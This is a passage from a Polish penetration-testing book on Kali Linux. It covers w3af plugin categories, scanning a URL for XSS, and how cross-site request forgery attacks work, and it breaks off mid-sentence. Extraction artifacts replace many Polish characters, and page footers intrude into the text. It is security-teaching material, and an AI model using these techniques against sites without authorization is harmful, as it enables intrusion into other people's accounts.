„(cid:258)rodowisko”, poniewa(cid:285) jest to niezwykle bogato wyposa(cid:285)ony program. Obs(cid:239)uguje si(cid:218) go za po-
moc(cid:200) menu. Zawiera liczne bardzo przydatne i pozwalaj(cid:200)ce oszcz(cid:218)dzi(cid:202) czas funkcje, takie jak
automatyczne uzupe(cid:239)nianie podobne do tego w Metasploicie, i mo(cid:285)e si(cid:218) pochwali(cid:202) wyj(cid:200)tkowo
bogat(cid:200) baz(cid:200) wtyczek.
Na szczególn(cid:200) uwag(cid:218) zas(cid:239)uguje funkcja tworzenia (cid:239)adunków do hakowania aplikacji sieciowych.
Wykorzystywanie luk w aplikacjach sieciowych i uzyskiwanie dost(cid:218)pu do komputera docelowe-
go przez wys(cid:239)anie w(cid:239)asnego (cid:239)adunku danych zawsze jest trudne, ale (cid:258)rodowisko w3af zawiera
wtyczki, dzi(cid:218)ki którym ta faza staje si(cid:218) nieco mniej uci(cid:200)(cid:285)liwa, oraz umo(cid:285)liwiaj(cid:200)ce integracj(cid:218)
z Metasploitem, dzi(cid:218)ki czemu mo(cid:285)na wys(cid:239)a(cid:202) (cid:239)adunek Metasploita do komputera docelowego
i u(cid:285)y(cid:202) go w pó(cid:283)niejszej fazie eksploracji.
174
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Wtyczki
Wtyczki w programie w3af s(cid:200) podzielone na kilka kategorii, z których najwa(cid:285)niejsze opisa(cid:239)em
poni(cid:285)ej:
(cid:81) Crawl (przegl(cid:200)danie stron) — wtyczki z tej kategorii s(cid:239)u(cid:285)(cid:200) do przegl(cid:200)dania
zawarto(cid:258)ci stron i identyfikacji nowych adresów URL. Znajduj(cid:200) potencjalne punkty
wstrzykiwania kodu, które mog(cid:200) by(cid:202) wykorzystane przez inne wtyczki.
(cid:81) Audit (audyt) — jest to grupa wtyczek wykorzystuj(cid:200)cych punkty wstrzykiwania kodu
wykryte przez wtyczki z kategorii Crawl i sprawdzaj(cid:200)cych ich podatno(cid:258)(cid:202) na ataki.
(cid:81) Grep — te wtyczki s(cid:239)u(cid:285)(cid:200) do identyfikacji najprostszych zdobyczy, takich jak strony
b(cid:239)(cid:218)dów, komentarze, nag(cid:239)ówki HTTP i ró(cid:285)ne usterki powoduj(cid:200)ce wyciek informacji.
Dane s(cid:200) zdobywane przez analiz(cid:218) (cid:285)(cid:200)da(cid:241) i odpowiedzi.
(cid:81) Infrastructure (infrastruktura) — s(cid:200) to wtyczki do badania serwera docelowego
oraz identyfikowania systemu operacyjnego, wersji bazy danych i zdobywania
informacji dotycz(cid:200)cych DNS.
(cid:81) Output (wyniki) — wtyczki z tej kategorii definiuj(cid:200) format wyników.
(cid:81) Auth (autoryzacja) — w aplikacjach wymagaj(cid:200)cych uwierzytelniania wtyczka
ta dostarcza podane wcze(cid:258)niej nazw(cid:218) u(cid:285)ytkownika i has(cid:239)o, dzi(cid:218)ki czemu mo(cid:285)liwe
jest automatyczne uwierzytelnianie w aplikacji.
Narz(cid:218)dzie w3af znajduje si(cid:218) w sekcji Applications/Web Application Analysis. Ewentualnie mo(cid:285)na
te(cid:285) uruchomi(cid:202) narz(cid:218)dzie wiersza polece(cid:241), wpisuj(cid:200)c w terminalu polecenie w3af_console. Po jego
wykonaniu za pomoc(cid:200) polecenia help mo(cid:285)na wy(cid:258)wietli(cid:202) list(cid:218) dost(cid:218)pnych mo(cid:285)liwo(cid:258)ci:
175
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Aby wy(cid:258)wietli(cid:202) wszystkie kategorie wtyczek, nale(cid:285)y wykona(cid:202) polecenia plugins i help. Aby wy-
(cid:258)wietli(cid:202) szczegó(cid:239)owe informacje o ró(cid:285)nych wtyczkach dost(cid:218)pnych w wybranej kategorii, nale(cid:285)y
wpisa(cid:202) nazw(cid:218) kategorii, np. audit, jak wida(cid:202) na poni(cid:285)szym rysunku:
Aby przygotowa(cid:202) wybran(cid:200) wtyczk(cid:218) do u(cid:285)ycia, nale(cid:285)y wpisa(cid:202) nazw(cid:218) kategorii i kilka pierwszych
znaków nazwy tej wtyczki, a nast(cid:218)pnie nacisn(cid:200)(cid:202) klawisz Tab.
Interfejs graficzny
Sposób testowania luki XSS zademonstruj(cid:218) na przyk(cid:239)adzie z u(cid:285)yciem graficznego interfejsu
u(cid:285)ytkownika programu w3af. Program ten ma kilka gotowych profili zawieraj(cid:200)cych wybór wtyczek
zgrupowanych w jeden pakiet. Na przyk(cid:239)ad profil OWASP_TOP10 mo(cid:285)e wybra(cid:202) kto(cid:258), kto chce
przetestowa(cid:202) adres URL pod k(cid:200)tem dziesi(cid:218)ciu najcz(cid:218)(cid:258)ciej spotykanych luk bezpiecze(cid:241)stwa
aplikacji sieciowych wed(cid:239)ug organizacji OWASP:
176
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Aby sprawdzi(cid:202) wybrany adres URL pod k(cid:200)tem luk XSS, nale(cid:285)y wybra(cid:202) wtyczk(cid:218) XSS z kategorii
audytowej. Je(cid:285)eli test ma dotyczy(cid:202) luki XSS z utrwaleniem, u do(cid:239)u ekranu nale(cid:285)y wybra(cid:202) opcj(cid:218)
persistent_xss. Nast(cid:218)pnie wystarczy poda(cid:202) docelowy URL i klikn(cid:200)(cid:202) przycisk Start (zobacz
pierwszy rysunek na nast(cid:218)pnej stronie).
W oknie Log zostanie wy(cid:258)wietlona informacja o wykrytej luce XSS wraz z identyfikatorem
(cid:285)(cid:200)dania, który mo(cid:285)na powi(cid:200)za(cid:202) z konkretnymi (cid:285)(cid:200)daniami wys(cid:239)anymi do aplikacji docelowej.
W tym okienku wy(cid:258)wietlany jest te(cid:285) stan skanowania (zobacz drugi rysunek na nast(cid:218)pnej stronie).
177
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Aby si(cid:218) dowiedzie(cid:202), która para (cid:285)(cid:200)danie-odpowied(cid:283) spowodowa(cid:239)a ujawnienie usterki, nale(cid:285)y
przej(cid:258)(cid:202) do okna Results (wyniki), w którym znajduj(cid:200) si(cid:218) zarówno nag(cid:239)ówki, jak i tre(cid:258)(cid:202) obu tych
elementów komunikacji. W poni(cid:285)szym przyk(cid:239)adzie podatny na ataki jest parametr page:
Luki typu XSRF
Luki typu XSRF (ang. cross-site request forgery) s(cid:200) cz(cid:218)sto mylnie uwa(cid:285)ane za luki podobne do XSS.
Jednak w ataku XSS haker wykorzystuje zaufanie, jakim u(cid:285)ytkownik darzy wybran(cid:200) witryn(cid:218),
i dzi(cid:218)ki temu sk(cid:239)ania go do wykonania swoich skryptów. Natomiast sednem ataków XSRF jest
wykorzystanie zaufania, jakim witryna darzy przegl(cid:200)dark(cid:218) u(cid:285)ytkownika, w efekcie czego wykonuje
wszelkie (cid:285)(cid:200)dania pochodz(cid:200)ce od uwierzytelnionej sesji bez weryfikacji, czy rzeczywi(cid:258)cie u(cid:285)ytkow-
nik chcia(cid:239) dan(cid:200) czynno(cid:258)(cid:202) wykona(cid:202).
W ataku XSRF napastnik wykorzystuje fakt, (cid:285)e u(cid:285)ytkownik jest ju(cid:285) uwierzytelniony w aplikacji,
dzi(cid:218)ki czemu wszystko, co klient wy(cid:258)le do serwera, zostanie potraktowane jako legalna dzia(cid:239)alno(cid:258)(cid:202).
Je(cid:258)li nie zostan(cid:200) wdro(cid:285)one odpowiednie zabezpieczenia, w ataku XSRF mo(cid:285)e zosta(cid:202) wykorzystana
ka(cid:285)da funkcja aplikacji sieciowej, która wymaga cho(cid:202)by jednego (cid:285)(cid:200)dania w ramach uwierzytel-
nionej sesji. Oto kilka czynno(cid:258)ci, jakie napastnik mo(cid:285)e wykona(cid:202) w ramach ataku typu XSRF:
(cid:81) zmiana danych u(cid:285)ytkownika w aplikacji sieciowej, np. adresu e-mail i daty urodzenia;
(cid:81) wykonanie nielegalnych transakcji bankowych;
(cid:81) nieuczciwe g(cid:239)osowanie na stronach internetowych;
(cid:81) dodawanie pozycji do koszyka bez wiedzy w(cid:239)a(cid:258)ciciela w sklepie internetowym.
178
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Warunki powodzenia ataku
Powodzenie wykorzystania luki XSRF zale(cid:285)y od kilku czynników:
(cid:81) Poniewa(cid:285) atak XSRF polega na wykorzystaniu uwierzytelnionej sesji, ofiara musi
utworzy(cid:202) aktywn(cid:200) uwierzytelnion(cid:200) sesj(cid:218) w aplikacji docelowej. Ponadto aplikacja
ta musi zezwala(cid:202) na wykonywanie transakcji w sesji bez dodatkowego uwierzytelniania.
(cid:81) XSRF to (cid:258)lepy atak, w ramach którego atakowana aplikacja sieciowa nie wysy(cid:239)a
odpowiedzi do napastnika, tylko do ofiary. Napastnik musi zna(cid:202) parametry witryny
mog(cid:200)ce wywo(cid:239)a(cid:202) okre(cid:258)lon(cid:200) akcj(cid:218). Je(cid:258)li np. haker chce zmieni(cid:202) zarejestrowany
w witrynie adres e-mail ofiary, to musi znale(cid:283)(cid:202) parametr s(cid:239)u(cid:285)(cid:200)cy do dokonywania
takich zmian. Zatem napastnik musi mie(cid:202) dobre rozeznanie w sposobie dzia(cid:239)ania
aplikacji, które mo(cid:285)e zdoby(cid:202) przez bezpo(cid:258)redni kontakt.
(cid:81) Je(cid:258)li aplikacja wykorzystuje metod(cid:218) POST, napastnik musi znale(cid:283)(cid:202) sposób na nak(cid:239)onienie
u(cid:285)ytkownika do klikni(cid:218)cia spreparowanego adresu URL lub wej(cid:258)cia na specjalnie
przygotowan(cid:200) stron(cid:218). Cel ten mo(cid:285)na osi(cid:200)gn(cid:200)(cid:202) za pomoc(cid:200) in(cid:285)ynierii spo(cid:239)ecznej.
Technika ataku
Z trzeciego punktu w poprzedniej sekcji wynika, (cid:285)e ofiara musi bezwiednie za pomoc(cid:200) swojej
przegl(cid:200)darki wys(cid:239)a(cid:202) (cid:285)(cid:200)danie do aplikacji docelowej. Mo(cid:285)na to osi(cid:200)gn(cid:200)(cid:202) na kilka sposobów:
(cid:81) Jedn(cid:200) z najcz(cid:218)(cid:258)ciej stosowanych technik, któr(cid:200) te(cid:285) powszechnie wykorzystuje si(cid:218)
w demonstracjach ataków XSRF, jest u(cid:285)ywanie znacznika obrazu. Metoda ta polega
na zmuszeniu podst(cid:218)pem ofiary do wej(cid:258)cia na specjaln(cid:200) stron(cid:218), na której (cid:239)adowany
jest ma(cid:239
Pobierz darmowy fragment (pdf)